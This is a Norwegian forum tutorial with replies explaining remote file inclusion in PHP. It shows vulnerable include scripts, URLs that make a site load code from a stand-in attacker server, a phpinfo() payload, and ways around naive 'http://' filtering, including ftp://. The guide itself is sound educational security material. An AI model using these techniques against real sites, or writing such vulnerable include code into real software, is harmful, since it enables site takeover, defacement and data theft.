Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  4 2149
Jeg har lurket lenge nok på freakforum og tenkte jeg skulle bidra litt. Skriver derfor en guide om hvordan remote file inclusion fungerer. Og hvordan en webapplikasjon kan kompromiseres om forholdene gjør det mulig.

Hva er RFI?

RFI er en metode som utnytter feil i php inkluderingsscript. Slike inkluderingsscript forekommer ofte på nettet, og det er slike som muliggjør urler som:

index.php?page=kontakt
index.php?page=info
index.php?page=login
index.php?page=forum OSV.

Metoden går ut på å lure phpscriptet til å inkludere kode som kontrolleres av angriperen. Resultatet av å kunne kjøre hvilken som helst php kode på en server, er at man får kontroll over nettstedet så og si. Hele databasen vil kunne bli lastet ned, alle filer på området vil kunne bli lest. Man kan gjøre alt det php kan gjøre.

Hvordan ser inkluderingsscript ut?

Et inkluderingsscript kan se slik ut:

Kode

<?php
$page = $_GET['page'];
include($page);
Dette er den verste tenkelige måten å kode et inkluderingsscript på. Og tro det eller ei, men mange som begynner med php gjør slike feil. De vet rett og slett ikke bedre.

For å inkludere egen php kode på et nettsted som hoster et slikt script, trengs det bare å besøke følgende url:

index.php?page=http://angriper/kode_her.txt

Der kode_her.txt kan f.eks. inneholde:

Kode

phpinfo();
phpinfo() er en php funksjon som printer ut masse info om php konfigurasjonen på serveren, og vil kunne hjelpe en angriper ytterligere.

Det fins annen php kode som kunne gjort mye mer skade. Som f.eks. en kode som redigerer index.php filen, og du vil kunne "deface" nettstedet.

Er det virkelig så enkelt?

Nei. En forutsetning for at dette skal fungere, er at php direktivet "allow_url_include" må være 1. D.v.s. det må være tillatt å laste innhold fra andre servere. Dette direktivet kom i php 5.2.0 så jeg tror nok det er flere servere RFI vil fungere på, enn det ikke vil fungere på.

I tillegg fins det mange varianter av inkluderingsscript, med forskjellige typer måter å inkludere på. Vi skal se på noen av disse.

La oss øke vanskelighetsgraden

Betrakt følgende inkluderingsscript:

Kode

<?php
$page = $_GET['page'];
include($page . ".php"); // legger på en filendelse
Hvordan vil et slikt script kunne hackes? Jo ved å besøke følgende url:

index.php?page=http://angriper/kode_her

Fordi da vil http://angriper/kode_her.php bli inkludert. Men som du kanskje kan tenke deg til, så blir php koden eksevert på angriperens server, før den sendes som html til inkluderingsscript. En løsning er å bruke koden:

Kode

<?php
echo "<?php phpinfo(); ?>";
?>
Eller bruke å .htaccess for å tvinge webserveren apache til å tolke kode_her.php som txt/html, slik at "<?php phpinfo(); ?>" blir inkludert.

Litt vanskeligere eksempel

Det fins mange merkelige måter å forhindre hacking på. Som f.eks. denne:

Kode

<?php
$page = str_replace("http://", "", $_GET['page']);
include($page . ".php"); // legger på en filendelse
?>
Her tenker utvikleren at nå blir ihvertfall ingen script fra andre servere inkludert. Men ofte fins det måter å "bypasse" beskyttelsesmekanismer på.

Kan du tenke deg til hvordan denne koden kan knekkes? For nybegynnere med programmering er ikke trikset så åpenbart. Svaret er skrevet med hvit skrift. Bruk 1 minutt på å tenke deg fram til det!

[COLOR="White"]index.php?page=httphttp:////angriper/kode_her[/COLOR]


Fikk du det til? Siden den farlige strengen "http://" blir erstattet med en tom tekststreng "" blir følgelig resten av urlen slått sammen, og den skadelige koden blir fortsatt inkludert.

En annen måte å omgå slike sperringer på er å bruke andre protokoller, som f.eks. ftp:

page=ftp://angriper/kode_her

Noen sluttord

Dette er ingen komplett guide. Det fins 10 ganger mer info om emnet, men dette decker basicsen.

Last ned wamp og installer en lokal server på din pc, og prøv å knekk ditt eget inkluderingsscript.

Ikke plag andre, vær snill og grei, forøvrig kan du gjøre hva du vil.
▼ ... noen uker senere ... ▼
Ja var litt lite respons på guiden. Er folk interessert i mere kan jeg jo skrive flere guider
Dette var en utrolig godt skrevet guide. Med masse god og informativ info om emnet!
Jeg lærte ihvertfall en hel del!

Så får noen andre ta jobben med å faktisk sjekke at fakta er riktig.
Kjempebra guide! Jeg har blitt utsatt for nøyaktig det som blir beskrevet her. Heldigvis ble ikke annet enn index-filen endret, men det satte en liten støkker i meg.

Leser mer enn gjerne flere guider hvis du vil ta deg tid til å skrive mer
hmm...
syns jeg har sett denne før, eller så var det en som lignet